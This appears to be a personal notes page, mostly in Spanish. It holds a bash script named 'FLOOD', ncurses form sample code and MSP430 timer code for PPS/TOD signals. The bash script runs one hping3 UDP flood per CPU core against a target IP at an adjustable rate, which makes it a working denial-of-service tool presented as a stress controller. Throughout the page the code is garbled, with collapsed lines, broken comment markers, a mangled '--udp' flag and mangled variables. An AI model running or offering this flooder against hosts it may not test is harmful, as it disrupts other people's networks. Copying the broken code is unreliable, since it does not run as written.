Notes
FLOOD:
#!/bin/bash
TARGET_IP="\(1" PACKET_SIZE=60 THREADS=\)(nproc)
MAX_US=100000 # Máxima pausa (0% Estrés = 100ms) MIN_US=1 # Mínima pausa (100% Estrés = 1us) LAST_INTERVAL="" # Para detectar cambios
if [ -z "$TARGET_IP" ]; then echo "Uso: sudo $0 <IP_DESTINO>" echo "---------------------------------------------------–—" echo "Ejemplo: sudo $0 169.254.62.25" exit 1 fi
if [ "$EUID" -ne 0 ]; then echo "Por favor, ejecute como root (sudo)." exit 1 fi
cleanup() { echo "" echo "!!! DETENIENDO TODOS LOS PROCESOS HPING3 !!!" killall hping3 2>/dev/null echo "Controlador de Estrés Finalizado." exit } trap cleanup SIGINT
launch_attack() { local STRESS_LEVEL=$1
if ! [[ "\(STRESS_LEVEL" =~ ^[0-9]+\) ]] || [ "$STRESS_LEVEL" -lt 0 ] || [ "$STRESS_LEVEL" -gt 100 ]; then echo -e "\n⚠️ Nivel no válido ($STRESS_LEVEL). Debe ser de 0 a 100." return 1 fi
INTERVAL_US=$(( (MAX_US - MIN_US) * (100 - STRESS_LEVEL) / 100 + MIN_US )) HPING_INTERVAL="u$INTERVAL_US"
if [ "$HPING_INTERVAL" == "$LAST_INTERVAL" ]; then return 0 fi
echo "-------------------------------------------------------------–—" echo " [$(date +%H:%M:%S)] Nivel de Estrés: $STRESS_LEVEL% | Intervalo: $HPING_INTERVAL" echo " Matando $THREADS procesos hping3 existentes…" killall hping3 2>/dev/null sleep 0.5 # Dar tiempo a que los procesos mueran
LAST_INTERVAL="$HPING_INTERVAL"
for ((i=1; i<=THREADS; i++)); do hping3 –udp -i $HPING_INTERVAL -d $PACKET_SIZE -p 80$i $TARGET_IP >/dev/null 2>&1 & done echo " Lanzados $THREADS hilos con nuevo intervalo." return 0 }
echo "================================================================"
echo " CONTROLADOR DE ESTRÉS INTERACTIVO INICIADO"
echo " Objetivo: $TARGET_IP | Hilos: $THREADS"
echo " Escribe 'q' o pulsa Ctrl+C para finalizar."
echo "================================================================"
launch_attack 50
while true; do echo -e "\nIntroduce el Nivel de Estrés (0-100) o 'q' para salir:" read -r NEW_LEVEL
if [ "$NEW_LEVEL" = "q" ] || [ "$NEW_LEVEL" = "Q" ]; then cleanup fi
launch_attack "$NEW_LEVEL" done
TUI code
https://tldp.org/HOWTO/NCURSES-Programming-HOWTO/forms.html#FORMWINDOWS
// // Source - https://stackoverflow.com/questions/1022957/getting-terminal-width-in-c // // Posted by gamen // // Retrieved 2025-11-05, License - CC BY-SA 2.5 // // #include <ncurses.h> // #include <string.h> // #include <signal.h> // // SIGWINCH is called when the window is resized. // void handle_winch(int sig){ // signal(SIGWINCH, SIG_IGN); // // Reinitialize the window to update data structures. // endwin(); // initscr(); // refresh(); // clear(); // char tmp[128]; // sprintf(tmp, "%dx%d", COLS, LINES); // // Approximate the center // int x = COLS / 2 - strlen(tmp) / 2; // int y = LINES / 2 - 1; // mvaddstr(y, x, tmp); // refresh(); // signal(SIGWINCH, handle_winch); // } // void handle_sinch(int sig){ // signal(SIGINT, handle_sinch); // static int i= 0; // mvprintw(i++,0, "%s", "Hello World!"); // refresh(); // signal(SIGINT, handle_sinch); // } // int main(int argc, char *argv[]){ // initscr(); // // COLS/LINES are now set // signal(SIGWINCH, handle_winch); // signal(SIGINT, handle_sinch); // while(getch() != 27){ // /* Nada */ // } // endwin(); // return(0); // } #include <cstring> #include <form.h> void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color); int main() { FIELD *field[3]; FORM *my_form; WINDOW *my_form_win; int ch, rows, cols; /* Initialize curses */ initscr(); start_color(); cbreak(); noecho(); keypad(stdscr, TRUE); /* Initialize few color pairs */ init_pair(1, COLOR_RED, COLOR_BLACK); /* Initialize the fields */ field[0] = new_field(1, 10, 6, 1, 0, 0); field[1] = new_field(1, 10, 8, 1, 0, 0); field[2] = NULL; /* Set field options */ set_field_back(field[0], A_UNDERLINE); field_opts_off(field[0], O_AUTOSKIP); /* Don't go to next field when this */ /* Field is filled up */ set_field_back(field[1], A_UNDERLINE); field_opts_off(field[1], O_AUTOSKIP); /* Create the form and post it */ my_form = new_form(field); /* Calculate the area required for the form */ scale_form(my_form, &rows, &cols); /* Create the window to be associated with the form */ my_form_win = newwin(rows + 4, cols + 4, 4, 4); keypad(my_form_win, TRUE); /* Set main window and sub window */ set_form_win(my_form, my_form_win); set_form_sub(my_form, derwin(my_form_win, rows, cols, 2, 2)); /* Print a border around the main window and print a title */ box(my_form_win, 0, 0); print_in_middle(my_form_win, 1, 0, cols + 4, "My Form", COLOR_PAIR(1)); post_form(my_form); wrefresh(my_form_win); mvprintw(LINES - 2, 0, "Use UP, DOWN arrow keys to switch between fields"); refresh(); /* Loop through to get user requests */ while((ch = wgetch(my_form_win)) != KEY_F(1)) { switch(ch) { case KEY_DOWN: /* Go to next field */ form_driver(my_form, REQ_NEXT_FIELD); /* Go to the end of the present buffer */ /* Leaves nicely at the last character */ form_driver(my_form, REQ_END_LINE); break; case KEY_UP: /* Go to previous field */ form_driver(my_form, REQ_PREV_FIELD); form_driver(my_form, REQ_END_LINE); break; default: /* If this is a normal character, it gets */ /* Printed */ form_driver(my_form, ch); break; } } /* Un post form and free the memory */ unpost_form(my_form); free_form(my_form); free_field(field[0]); free_field(field[1]); endwin(); return 0; } void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color) { int length, x, y; float temp; if(win == NULL) win = stdscr; getyx(win, y, x); if(startx != 0) x = startx; if(starty != 0) y = starty; if(width == 0) width = 80; length = strlen(string); temp = (width - length)/ 2; x = startx + (int)temp; wattron(win, color); mvwprintw(win, y, x, "%s", string); wattroff(win, color); refresh(); }
MSP430 code
https://mostlyanalog.blogspot.com/2015/04/clocking-msp430f5529-launchpad.html
#include <msp430.h>
void main(void) { WDTCTL = WDTPW | WDTHOLD;
// Configurar P1.2 como salida P1DIR |= BIT2;
/ Timer_B0 para el periodo de 1s TB0CTL = TBSSEL__SMCLK | ID__8 | MC__UP | TBCLR | TBIE; TB0CCR0 = 93749; / 1s con preescaler 256
/ Timer_B1 para el pulso de 20us TB1CTL = TBSSEL__SMCLK | MC__UP | TBCLR; TB1CCR0 = 479; / 20us @ 24MHz (480 ciclos - 1)
__bis_SR(LPM0_bits | GIE); }
/ ISR para Timer_B0 #pragma vector=TIMERB0_VECTOR __interrupt void TIMERB0_ISR(void) { switch(__even_in_range(TB0IV, 14)) { case 0x02: / TB0CCR1 break; case 0x0E: / TB0 overflow P1OUT |= BIT2; / Iniciar pulso alto TB1CTL |= TBCLR | MC__UP; // Iniciar Timer_B1 break; } }
/ ISR para Timer_B1 #pragma vector=TIMERB1_VECTOR __interrupt void TIMERB1_ISR(void) { switch(__even_in_range(TB1IV, 14)) { case 0x0E: / TB1 overflow P1OUT &= ~BIT2; / Terminar pulso TB1CTL &= ~MC_3; / Detener Timer_B1 break; } }
#include <msp430.h> #include <string.h>
// Buffer para la señal TOD (array de bytes) #define TOD_BUFFER_SIZE 10 const unsigned char tod_buffer[TOD_BUFFER_SIZE] = { 0xA5, 0x5A, 0x0F, 0xF0, 0x00, 0xFF, 0x81, 0x7E, 0x3C, 0xC3 };
volatile unsigned int tod_byte_index = 0; volatile unsigned char tod_bit_index = 0; volatile unsigned char tod_transmission_active = 0;
// Definir el pin para TOD #define TOD_PIN BIT3 #define TOD_PORT P1OUT #define TOD_DIR P1DIR
void main(void) { WDTCTL = WDTPW | WDTHOLD;
/ = Configuración de reloj =
/ SMCLK = 24MHz (ajustar según tu configuración)
/ = Configurar pin de TOD =
TOD_DIR |= TOD_PIN; / Pin de salida para TOD
/ = Señal PPS 1s con 20us en alto (Timer_B0 + Timer_B1) =
P1DIR |= BIT2; / P1.2 para señal PPS
P1SEL |= BIT2; // Función peripheral para TB0.1
/ Timer_B0 para periodo de 1s TB0CTL = TBSSEL__SMCLK | ID__8 | MC__UP | TBCLR | TBIE; TB0CCR0 = 93749; / 1s con preescaler 256
/ Timer_B1 para pulso de 20us TB1CTL = TBSSEL__SMCLK | MC__UP | TBCLR; TB1CCR0 = 479; / 20us @ 24MHz
/ = Configurar Timer_A0 para 300us (inicialmente detenido) =
TA0CCTL0 = CCIE; / Habilitar interrupción
TA0CCR0 = 7199; // 300us @ 24MHz (7200 ciclos - 1)
TA0CTL = TASSEL__SMCLK | MC__STOP | TACLR;
__bis_SR(LPM0_bits | GIE); }
/ = ISR para Timer_B0 (inicio del pulso PPS) =
#pragma vector=TIMERB0_VECTOR
__interrupt void TIMERB0_ISR(void) {
switch(__even_in_range(TB0IV, 14)) {
case 0x0E: / TB0 overflow - FLANCO DE SUBIDA PPS
P1OUT |= BIT2; // Iniciar pulso PPS en alto
/ = INICIAR TRANSMISIÓN TOD SINCRONIZADA =
tod_transmission_active = 1;
tod_byte_index = 0; / Reiniciar índices
tod_bit_index = 0;
// Enviar primer bit inmediatamente if (tod_buffer[tod_byte_index] & (1 << tod_bit_index)) TOD_PORT |= TOD_PIN; else TOD_PORT &= ~TOD_PIN;
// Incrementar para el próximo bit tod_bit_index++;
/ Configurar e iniciar Timer_A0 para TOD TA0CTL |= TACLR; / Limpiar timer TA0CTL |= MC__UP; // Iniciar conteo
// Iniciar Timer_B1 para finalizar pulso PPS TB1CTL |= TBCLR | MC__UP; break; } }
/ = ISR para Timer_B1 (fin de pulso 20us) =
#pragma vector=TIMERB1_VECTOR
__interrupt void TIMERB1_ISR(void) {
switch(__even_in_range(TB1IV, 14)) {
case 0x0E: / TB1 overflow
P1OUT &= ~BIT2; / Terminar pulso PPS
TB1CTL &= ~MC_3; / Detener Timer_B1
break;
}
}
/ = ISR para Timer_A0 (transmisión TOD cada 300us) =
#pragma vector=TIMER0_A0_VECTOR
__interrupt void TIMER0_A0_ISR(void) {
if (tod_transmission_active) {
/ Si hemos terminado todos los bits de un byte, pasar al siguiente byte
if (tod_bit_index >= 8) {
tod_byte_index++;
tod_bit_index = 0;
}
/ Verificar si hemos terminado todos los bytes if (tod_byte_index < TOD_BUFFER_SIZE) { / Enviar el bit actual if (tod_buffer[tod_byte_index] & (1 << tod_bit_index)) TOD_PORT |= TOD_PIN; else TOD_PORT &= ~TOD_PIN;
tod_bit_index++; } else { / Fin de la transmisión TOD tod_transmission_active = 0; TA0CTL &= ~MC_3; / Detener Timer_A0 } } }z